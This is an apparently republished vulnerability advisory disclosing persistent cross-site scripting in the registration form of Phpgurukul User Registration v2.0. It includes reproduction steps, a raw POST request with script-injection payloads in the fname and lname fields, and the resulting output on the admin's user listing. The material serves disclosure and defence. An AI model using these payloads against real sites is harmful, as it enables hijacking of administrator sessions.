Exploit/Advisories

Published on April 21st, 2020 📆 | 1660 Views ⚑

0

Phpgurukul User Registration 2.0 Cross Site Scripting ↭


https://www.ispeech.org

Document Title:
===============
Phpgurukul User Registration v2.0 - Multiple Vulnerabilities

References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2216

Release Date:
=============
2020-04-20

Vulnerability Laboratory ID (VL-ID):
====================================
2216

Common Vulnerability Scoring System:
====================================
5.4

Vulnerability Class:
====================
Cross Site Scripting - Persistent

Current Estimated Price:
========================
500€ - 1.000€

Product & Service Introduction:
===============================
User Registration & Login and User Management System With Admin Panel v2.0.

(Copy of the Homepage:
https://phpgurukul.com/?smd_process_download=1&download_id=7003 )

Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple web
vulnerabilities in the Phpgurukul User Registration & User Management
System v2.0.

Affected Product(s):
====================
Anuj Kumar
Product: User Registration & Login and User Management System With Admin
Panel v2.0 (Web-Application)

Vulnerability Disclosure Timeline:
==================================
2020-04-20: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Authentication Type:
====================
No authentication (guest)

User Interaction:
=================
Low User Interaction

Disclosure Type:
================
Independent Security Research

Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been
discovered in the Phpgurukul User Registration & User Management System
v2.0.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application
requests from the application-side.

The persistent cross site web vulnerabilities are located in the
`firstname` and `lastname` parameters of the registration form &
loginsystem input fields.
Remote attackers are able to register with malicious script code as
firstname or lastname to manipulate the `manage-users.php` and
`update-profile.php`
files visible for administrators in the backend. The injection point is
the registration or user edit module and the execution occurs on
manage-users
preview or user edits. The request method to inject is POST and the
attack vector is located on the application-side.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.

Request Method(s):
[+] POST

Vulnerable Input(s):
[+] firstname
[+] lastname

Vulnerable Module(s):
[+] Registration (Login-System)

Vulnerable Parameter(s):
[+] fname
[+] lname

Affected Module(s):
[+] Manage Users (manage-users.php)
[+] Update User (update-profile.php)

Proof of Concept (PoC):
=======================
The persistent input validation vulnerabilities can be exploited by
remote attackers without privileged user account and with low user
interaction.
For security demonstration or to reproduce the security web
vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce ...
1. Open the registration formular
2. Inject payload in firstname and lastname values
3. Submit the request via POST method
4. Wait until the admin previews the users listing without any activations
Note: The execution occurs on user edit and in the user management listing
5. On preview the cookie transmits to attacker and he can login with non
expired cookie
7. Successful reproduce of the vulnerability!

--- PoC Session Logs (POST) --- (Inject)
https://localhost:8080/project/loginsystem/
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
boundary=---------------------------84460134629716292423840703493
Content-Length: 897
Origin: https://localhost:8080
Connection: keep-alive
Referer: https://localhost:8080/project/loginsystem/
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169;
PHPSESSID=92276d293892927eea41e64e19c214a4
fname=test1>"onload=alert(document.cookie)>&lname=test2>"src=evil.source
onload=alert(document.cookie)>&email=keymaster31337@protonmail.com&password=whoami23&contact=31337317&signup=Sign
Up
-
POST: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2

PoC: Vulnerable Source (Execution Point - manage-users.php)





585

test1>"onload="alert(document.cookie)">

test2>"onload="alert(document.cookie)">

keymaster31337@protonmail.com

31337317 2020-04-19





Source link

Tagged with: • • • • • • • • • • • • • •



Comments are closed.






© Torchsec  Privacy Policy Disclaimer  T&C



Back to Top ↑